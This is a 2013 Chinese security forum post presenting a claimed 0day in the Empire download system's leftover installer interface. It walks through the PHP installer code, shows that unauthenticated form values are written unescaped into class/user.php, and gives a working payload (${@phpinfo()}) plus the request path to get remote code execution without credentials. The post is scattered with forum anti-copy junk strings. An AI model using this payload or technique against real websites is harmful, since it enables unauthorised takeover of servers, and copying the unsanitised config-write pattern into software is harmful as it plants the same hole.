找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2739|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
+ n) s' k' A& O- e
( u4 j6 j% @+ m% w! O; `+ N) P: z

3 z9 q1 v- T' a+ }
这是帝国的一套下载系统 如图7 c( p, n' t" ~% `6 h
ps(不需要任何账户和密码,直接写shell)


- K, @" b9 H! y* w  z

由于很多站是由于下载要整合discuz 等等一些论坛....
7 I! V9 G$ ]: [8 g* Q


- [3 B' |% z3 G& ~. p# Y

而帝国他又有一个万能接口,如图


3 U+ G  X  v, U6 l; e7 u: l5 B7 p- a. `$ t1 n% i' X2 d
$ a& k* Z$ b; F# }- E' j

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
9 `& }4 A6 w0 Z# S7 y; i
- R# Q: M$ p! o. ?当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. x/ B# Y& ^3 _8 J9 }
+ x8 u1 q5 a* N; q$ w在data/fun.php中的15行
7 f/ [9 P! X( f* r
% Q- s: r' h8 U; C5 _我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
9 Y% y# E9 a0 b4 ^( u, B1 c6 b1 Q
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
: S  o7 q2 l. W& i9 M% a* q; v# D" O! g" G# k% G/ H( D
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
; O$ K. ?4 }+ \* f5 {$ Z$ x) _  m. N( G0 d$ g+ G( [' E
他将传进来的变量进行了切割,然后赋给了$filetext$ n* }. Y" W0 e0 i0 D9 p8 z2 M
  Q" y0 z( v# H7 f9 \
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
! P2 `# T$ }; d, l4 t$ N. H. d; l2 ~. E
我们看看写入的结果,随便填一个


0 S6 `. v& E9 ?5 y2 c0 g
) j8 X; U9 ~9 n
- a6 q: a: W" s: k* c' |6 S% g) |3 Y' Y" Y3 N# ^9 m! R: M

( C  y2 O5 }% _3 a& ^  |

) F* m9 l7 ^' l' Z  O0 x
# Z2 M4 A: D  V1 O5 X- a9 W
& ^3 M, S( }1 i% t/ o; Q7 W

4 O( q2 q( X# ~/ M1 A& Q
: @! K- c3 O& o* A' w

+ m0 p/ B3 r' f' m! s( Y
) m7 r; T6 P: |: V) I2 d" k
/ L3 @) l& M5 i) N5 s' F
8 ?/ U$ E) j2 h5 O- O3 C
1 _6 z* R/ w* B- O

# ~  e  Z4 g5 J9 j( V, `( ^% K$ {, w
' d+ O8 y1 ]4 H, R# l1 k0 E* j7 p- A7 {
  N# t" ~# {5 U! \3 }# a4 o7 j

8 x9 i6 F5 Q: }3 ^

7 k/ Q9 x5 B8 i8 `  m8 @  h% u! H6 b' p- s

所以我们淫荡点,写个${@phpinfo()}试试

9 W" s* G8 }  F1 J4 C# l+ c

然后访问以下class/user.php这个文件
3 L4 d. m# v* s- Q# t" |" V日了吧


* r3 X; X& h; o5 i6 I0 S% ?

- O- Q3 X. t+ _7 y
: Y/ V2 n8 T0 c0 Y$ S

% C6 [- M$ j$ ^. C/ E; ?( F( i, f

( D( t6 l; T3 L4 R/ A8 Z) L
$ t2 I: u7 ]' M% V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表